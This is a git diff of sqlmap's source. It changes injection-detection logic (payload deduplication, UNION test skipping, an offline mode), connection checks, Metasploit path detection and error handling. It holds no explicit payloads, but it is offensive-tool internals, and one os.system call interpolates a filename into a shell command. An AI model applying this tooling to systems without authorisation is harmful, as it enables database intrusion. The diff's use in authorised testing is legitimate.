diff --git a/extra/beep/beep.py b/extra/beep/beep.py index b46036b2a..cd8ef9be5 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -45,6 +45,10 @@ def _win_wav_play(filename): winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): + for _ in ("aplay", "paplay", "play"): + if not os.system("%s '%s' 2>/dev/null" % (_, filename)): + return + import ctypes PA_STREAM_PLAYBACK = 1 diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 14d93936d..f4c053ec9 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -15,7 +15,6 @@ from subprocess import Popen as execute from extra.beep.beep import beep from lib.core.agent import agent -from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import extractTextTagContent @@ -46,7 +45,6 @@ from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod from lib.core.dicts import FROM_DUMMY_TABLE -from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER @@ -66,7 +64,6 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import URI_HTTP_HEADER -from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IDS_WAF_CHECK_RATIO @@ -90,6 +87,7 @@ def checkSqlInjection(place, parameter, value): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place tests = getSortedInjectionTests() + seenPayload = set() while tests: test = tests.pop(0) @@ -386,9 +384,17 @@ def checkSqlInjection(place, parameter, value): # Forge request payload by prepending with boundary's # prefix and appending the boundary's suffix to the # test's ' ' string - boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) - boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) - reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + if fstPayload: + boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) + boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) + reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + if reqPayload: + if reqPayload in seenPayload: + continue + else: + seenPayload.add(reqPayload) + else: + reqPayload = None # Perform the test's request and check whether or not the # payload was successful @@ -423,7 +429,7 @@ def checkSqlInjection(place, parameter, value): trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage = threadData.lastComparisonPage or "" - if trueResult: + if trueResult and not(truePage == falsePage and not kb.nullConnection): falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) # Perform the test's False request @@ -516,6 +522,17 @@ def checkSqlInjection(place, parameter, value): infoMsg += "there is at least one other (potential) " infoMsg += "technique found" singleTimeLogMessage(infoMsg) + elif not injection.data: + _ = test.request.columns.split('-')[-1] + if _.isdigit() and int(_) > 10: + if kb.futileUnion is None: + msg = "it is not recommended to perform " + msg += "extended UNION tests if there is not " + msg += "at least one other (potential) " + msg += "technique found. Do you want to skip? [Y/n] " + kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N' + if kb.futileUnion is False: + continue # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) @@ -532,7 +549,7 @@ def checkSqlInjection(place, parameter, value): kb.previousMethod = method - if conf.dummy: + if conf.dummy or conf.offline: injectable = False # If the injection test was successful feed the injection @@ -706,7 +723,8 @@ def checkFalsePositives(injection): retVal = injection - if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\ + (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place @@ -994,11 +1012,15 @@ def checkStability(): like for instance string matching (--string). """ - infoMsg = "testing if the target URL is stable. This can take a couple of seconds" + infoMsg = "testing if the target URL is stable" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() - time.sleep(1) + + delay = 1 - (time.time() - (kb.originalPageTime or 0)) + delay = max(0, min(1, delay)) + time.sleep(delay) + secondPage, _ = Request.queryPage(content=True, raise404=False) if kb.redirectChoice: @@ -1117,7 +1139,7 @@ def checkWaf(): Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ - if any((conf.string, conf.notString, conf.regexp)): + if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline)): return None dbmMsg = "heuristically checking if the target is protected by " @@ -1227,10 +1249,10 @@ def checkNullConnection(): infoMsg = "testing NULL connection to the target URL" logger.info(infoMsg) - pushValue(kb.pageCompress) - kb.pageCompress = False - try: + pushValue(kb.pageCompress) + kb.pageCompress = False + page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): @@ -1260,12 +1282,13 @@ def checkNullConnection(): errMsg = getUnicode(errMsg) raise SqlmapConnectionException(errMsg) - kb.pageCompress = popValue() + finally: + kb.pageCompress = popValue() return kb.nullConnection is not None def checkConnection(suppressOutput=False): - if not any((conf.proxy, conf.tor, conf.dummy)): + if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): try: debugMsg = "resolving hostname '%s'" % conf.hostname logger.debug(debugMsg) @@ -1275,14 +1298,15 @@ def checkConnection(suppressOutput=False): raise SqlmapConnectionException(errMsg) except socket.error, ex: errMsg = "problem occurred while " - errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex)) + errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, ex.message) raise SqlmapConnectionException(errMsg) - if not suppressOutput and not conf.dummy: + if not suppressOutput and not conf.dummy and not conf.offline: infoMsg = "testing connection to the target URL" logger.info(infoMsg) try: + kb.originalPageTime = time.time() page, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3fb86150d..d5793767c 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -155,8 +155,11 @@ def _formatInjection(inj): return data def _showInjections(): - header = "sqlmap identified the following injection points with " - header += "a total of %d HTTP(s) requests" % kb.testQueryCount + if kb.testQueryCount > 0: + header = "sqlmap identified the following injection point(s) with " + header += "a total of %d HTTP(s) requests" % kb.testQueryCount + else: + header = "sqlmap resumed the following injection point(s) from stored session" if hasattr(conf, "api"): conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) @@ -427,6 +430,9 @@ def start(): if skip: continue + if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + continue + if place not in conf.paramDict: continue @@ -495,47 +501,49 @@ def start(): kb.testedParams.add(paramKey) if testSqlInj: - if place == PLACE.COOKIE: - pushValue(kb.mergeCookies) - kb.mergeCookies = False + try: + if place == PLACE.COOKIE: + pushValue(kb.mergeCookies) + kb.mergeCookies = False - check = heuristicCheckSqlInjection(place, parameter) + check = heuristicCheckSqlInjection(place, parameter) - if check != HEURISTIC_TEST.POSITIVE: - if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): - infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) - logger.info(infoMsg) - continue + if check != HEURISTIC_TEST.POSITIVE: + if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): + infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) + logger.info(infoMsg) + continue - infoMsg = "testing for SQL injection on %s " % paramType - infoMsg += "parameter '%s'" % parameter - logger.info(infoMsg) + infoMsg = "testing for SQL injection on %s " % paramType + infoMsg += "parameter '%s'" % parameter + logger.info(infoMsg) - injection = checkSqlInjection(place, parameter, value) - proceed = not kb.endDetection + injection = checkSqlInjection(place, parameter, value) + proceed = not kb.endDetection - if injection is not None and injection.place is not None: - kb.injections.append(injection) + if injection is not None and injection.place is not None: + kb.injections.append(injection) - # In case when user wants to end detection phase (Ctrl+C) - if not proceed: - break + # In case when user wants to end detection phase (Ctrl+C) + if not proceed: + break - msg = "%s parameter '%s' " % (injection.place, injection.parameter) - msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " - test = readInput(msg, default="N") + msg = "%s parameter '%s' " % (injection.place, injection.parameter) + msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " + test = readInput(msg, default="N") - if test[0] not in ("y", "Y"): - proceed = False - paramKey = (conf.hostname, conf.path, None, None) - kb.testedParams.add(paramKey) - else: - warnMsg = "%s parameter '%s' is not " % (paramType, parameter) - warnMsg += "injectable" - logger.warn(warnMsg) + if test[0] not in ("y", "Y"): + proceed = False + paramKey = (conf.hostname, conf.path, None, None) + kb.testedParams.add(paramKey) + else: + warnMsg = "%s parameter '%s' is not " % (paramType, parameter) + warnMsg += "injectable" + logger.warn(warnMsg) - if place == PLACE.COOKIE: - kb.mergeCookies = popValue() + finally: + if place == PLACE.COOKIE: + kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: diff --git a/lib/core/agent.py b/lib/core/agent.py index f200d8f75..556f379a9 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -79,7 +79,9 @@ class Agent(object): retVal = "" - if where is None and isTechniqueAvailable(kb.technique): + if kb.forceWhere: + where = kb.forceWhere + elif where is None and isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if kb.injection.place is not None: @@ -174,7 +176,10 @@ class Agent(object): while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: - repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + try: + repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break else: break retVal = string[:match.start()] + repl + string[match.end():] @@ -185,6 +190,7 @@ class Agent(object): retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) @@ -213,6 +219,9 @@ class Agent(object): if conf.direct: return self.payloadDirect(expression) + if expression is None: + return None + expression = self.cleanupPayload(expression) expression = unescaper.escape(expression) query = None @@ -241,8 +250,7 @@ class Agent(object): if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " - if query: - query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) + query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query @@ -255,6 +263,9 @@ class Agent(object): if conf.direct: return self.payloadDirect(expression) + if expression is None: + return None + expression = self.cleanupPayload(expression) # Take default values if None diff --git a/lib/core/common.py b/lib/core/common.py index 08e6cc46e..9aada65ed 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -43,6 +43,7 @@ from xml.dom import minidom from xml.sax import parse from xml.sax import SAXParseException +from extra.beep.beep import beep from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray @@ -97,7 +98,6 @@ from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA -from lib.core.settings import DESCRIPTION from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES @@ -134,9 +134,7 @@ from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD -from lib.core.settings import REVISION from lib.core.settings import SENSITIVE_DATA_REGEX -from lib.core.settings import SITE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF @@ -146,7 +144,6 @@ from lib.core.settings import URI_QUESTION_MARKER from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES -from lib.core.settings import VERSION from lib.core.settings import VERSION_STRING from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy @@ -864,6 +861,9 @@ def dataToDumpFile(dumpFile, data): if "No space left" in getUnicode(ex): errMsg = "no space left on output device" logger.error(errMsg) + elif "Permission denied" in getUnicode(ex): + errMsg = "permission denied when flushing dump data" + logger.error(errMsg) else: raise @@ -875,11 +875,11 @@ def dataToOutFile(filename, data): retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) try: - with openFile(retVal, "wb") as f: + with open(retVal, "w+b") as f: f.write(data) except IOError, ex: errMsg = "something went wrong while trying to write " - errMsg += "to the output file ('%s')" % ex + errMsg += "to the output file ('%s')" % ex.message raise SqlmapGenericException(errMsg) return retVal @@ -935,6 +935,10 @@ def readInput(message, default=None, checkBatch=True): retVal = default else: logging._acquireLock() + + if conf.get("beep"): + beep() + dataToStdout("\r%s" % message, forceOutput=True, bold=True) kb.prependFlag = False @@ -1027,7 +1031,7 @@ def checkFile(filename): if valid: try: - with open(filename, "rb") as f: + with open(filename, "rb"): pass except: valid = False @@ -1101,7 +1105,7 @@ def setPaths(): paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") - _ = os.path.join(os.path.expanduser("~"), ".sqlmap") + _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") @@ -1111,7 +1115,6 @@ def setPaths(): paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.GITHUB_HISTORY = os.path.join(_, "github.hst") - paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') @@ -1583,9 +1586,10 @@ def safeExpandUser(filepath): try: retVal = os.path.expanduser(filepath) - except UnicodeDecodeError: + except UnicodeError: _ = locale.getdefaultlocale() - retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING))) + encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING + retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding) return retVal @@ -2115,7 +2119,7 @@ def getUnicode(value, encoding=None, noneToNull=False): elif isinstance(value, basestring): while True: try: - return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) + return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) @@ -2280,7 +2284,8 @@ def findMultipartPostBoundary(post): candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1) + _ = match.group(1).strip().strip('-') + if _ in done: continue else: @@ -2481,7 +2486,11 @@ def extractTextTagContent(page): [u'Title', u'foobar'] """ - page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "") + page = page or "" + + if REFLECTED_VALUE_MARKER in page: + page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) + return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) def trimAlphaNum(value): @@ -2575,7 +2584,7 @@ def findDynamicContent(firstPage, secondPage): prefix = trimAlphaNum(prefix) suffix = trimAlphaNum(suffix) - kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None)) + kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') @@ -2594,11 +2603,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page) + page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page) + page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page) + page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page @@ -2936,7 +2945,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) @@ -2978,7 +2987,7 @@ def createGithubIssue(errMsg, excMsg): data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) + req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) try: f = urllib2.urlopen(req) @@ -3011,7 +3020,7 @@ def maskSensitiveData(msg): retVal = getUnicode(msg) - for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): + for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))): regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) @@ -3022,7 +3031,6 @@ def maskSensitiveData(msg): if match: retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) - if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) @@ -3285,7 +3293,7 @@ def expandMnemonics(mnemonics, parser, args): pointer = pointer.next[char] pointer.current.append(option) - for mnemonic in mnemonics.split(','): + for mnemonic in (mnemonics or "").split(','): found = None name = mnemonic.split('=')[0].replace("-", "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None @@ -3465,8 +3473,13 @@ def asciifyUrl(url, forceQuote=False): netloc = ':' + password + netloc netloc = username + netloc - if parts.port: - netloc += ':' + str(parts.port) + try: + port = parts.port + except: + port = None + + if port: + netloc += ':' + str(port) return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) @@ -3657,7 +3670,7 @@ def evaluateCode(code, variables=None): except KeyboardInterrupt: raise except Exception, ex: - errMsg = "an error occurred while evaluating provided code ('%s'). " % ex + errMsg = "an error occurred while evaluating provided code ('%s') " % ex.message raise SqlmapGenericException(errMsg) def serializeObject(object_): @@ -3713,7 +3726,7 @@ def applyFunctionRecursively(value, function): return retVal -def decodeHexValue(value): +def decodeHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation @@ -3728,7 +3741,7 @@ def decodeHexValue(value): if value and isinstance(value, basestring) and len(value) % 2 == 0: retVal = hexdecode(retVal) - if not kb.binaryField: + if not kb.binaryField and not raw: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): try: retVal = retVal.decode("utf-16-le") @@ -3826,7 +3839,7 @@ def resetCookieJar(cookieJar): with open(filename, "w+b") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: - _ = line.split() + _ = line.split("\t") if len(_) == 7: _[4] = FORCE_COOKIE_EXPIRATION_TIME f.write("\n%s" % "\t".join(_)) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 0fa0f4685..b6a0ea2ba 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -105,13 +105,22 @@ PGSQL_PRIVS = { 3: "catupd", } +# Reference(s): http://stackoverflow.com/a/17672504 +# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES + FIREBIRD_PRIVS = { "S": "SELECT", "I": "INSERT", "U": "UPDATE", "D": "DELETE", - "R": "REFERENCES", + "R": "REFERENCE", "E": "EXECUTE", + "X": "EXECUTE", + "A": "ALL", + "M": "MEMBER", + "T": "DECRYPT", + "E": "ENCRYPT", + "B": "SUBSCRIBE", } DB2_PRIVS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index c6272e4d3..4401f1742 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission """ import cgi -import codecs import hashlib import os import re @@ -22,7 +21,6 @@ from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt -from lib.core.common import randomStr from lib.core.common import safeCSValue from lib.core.common import unicodeencode from lib.core.common import unsafeSQLIdentificatorNaming @@ -76,7 +74,7 @@ class Dump(object): try: self._outputFP.write(text) except IOError, ex: - errMsg = "error occurred while writing to log file ('%s')" % ex + errMsg = "error occurred while writing to log file ('%s')" % ex.message raise SqlmapGenericException(errMsg) if kb.get("multiThreadMode"): @@ -96,7 +94,7 @@ class Dump(object): try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") except IOError, ex: - errMsg = "error occurred while opening log file ('%s')" % ex + errMsg = "error occurred while opening log file ('%s')" % ex.message raise SqlmapGenericException(errMsg) def getOutputFile(self): diff --git a/lib/core/enums.py b/lib/core/enums.py index cb1b7b36f..1ba4b8185 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -197,6 +197,7 @@ class HASHDB_KEYS: KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" + KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" diff --git a/lib/core/option.py b/lib/core/option.py index df20fdcc8..5ebd228bd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -9,6 +9,7 @@ import cookielib import glob import inspect import logging +import httplib import os import random import re @@ -53,7 +54,6 @@ from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser -from lib.core.common import sanitizeStr from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage @@ -107,6 +107,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR @@ -289,7 +290,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): line = line.strip('\r') match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None - if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None: + if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: data = "" params = True @@ -311,8 +312,9 @@ def _feedTargetsDict(reqFile, addedTargetUrls): params = True # Headers - elif re.search(r"\A\S+: ", line): - key, value = line.split(": ", 1) + elif re.search(r"\A\S+:", line): + key, value = line.split(":", 1) + value = value.strip().replace("\r", "").replace("\n", "") # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): @@ -766,8 +768,14 @@ def _setMetasploit(): if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): - if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")): + if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True + if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): + kb.oldMsf = False + elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): + kb.oldMsf = True + else: + msfEnvPathExists = False conf.msfPath = path break @@ -798,15 +806,23 @@ def _setMetasploit(): for envPath in envPaths: envPath = envPath.replace(";", "") - if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")): - infoMsg = "Metasploit Framework has been found " - infoMsg += "installed in the '%s' path" % envPath - logger.info(infoMsg) - + if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")): msfEnvPathExists = True - conf.msfPath = envPath + if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): + kb.oldMsf = False + elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): + kb.oldMsf = True + else: + msfEnvPathExists = False - break + if msfEnvPathExists: + infoMsg = "Metasploit Framework has been found " + infoMsg += "installed in the '%s' path" % envPath + logger.info(infoMsg) + + conf.msfPath = envPath + + break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " @@ -1325,6 +1341,9 @@ def _setHTTPExtraHeaders(): conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") for headerValue in conf.headers: + if not headerValue.strip(): + continue + if headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) @@ -1504,7 +1523,7 @@ def _createTemporaryDirectory(): os.makedirs(tempfile.gettempdir()) except IOError, ex: errMsg = "there has been a problem while accessing " - errMsg += "system's temporary directory location(s) ('%s'). Please " % ex + errMsg += "system's temporary directory location(s) ('%s'). Please " % ex.message errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" @@ -1562,6 +1581,9 @@ def _cleanupOptions(): else: conf.skip = [] + if conf.cookie: + conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) + if conf.delay: conf.delay = float(conf.delay) @@ -1669,6 +1691,13 @@ def _cleanupOptions(): threadData = getCurrentThreadData() threadData.reset() +def _dirtyPatches(): + """ + Place for "dirty" Python related patches + """ + + httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses) + def _purgeOutput(): """ Safely removes (purges) output directory. @@ -1766,11 +1795,14 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.endDetection = False kb.explicitSettings = set() kb.extendTests = None + kb.errorChunkLength = None kb.errorIsNone = True kb.fileReadMode = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False + kb.forceWhere = None + kb.futileUnion = None kb.headersFp = {} 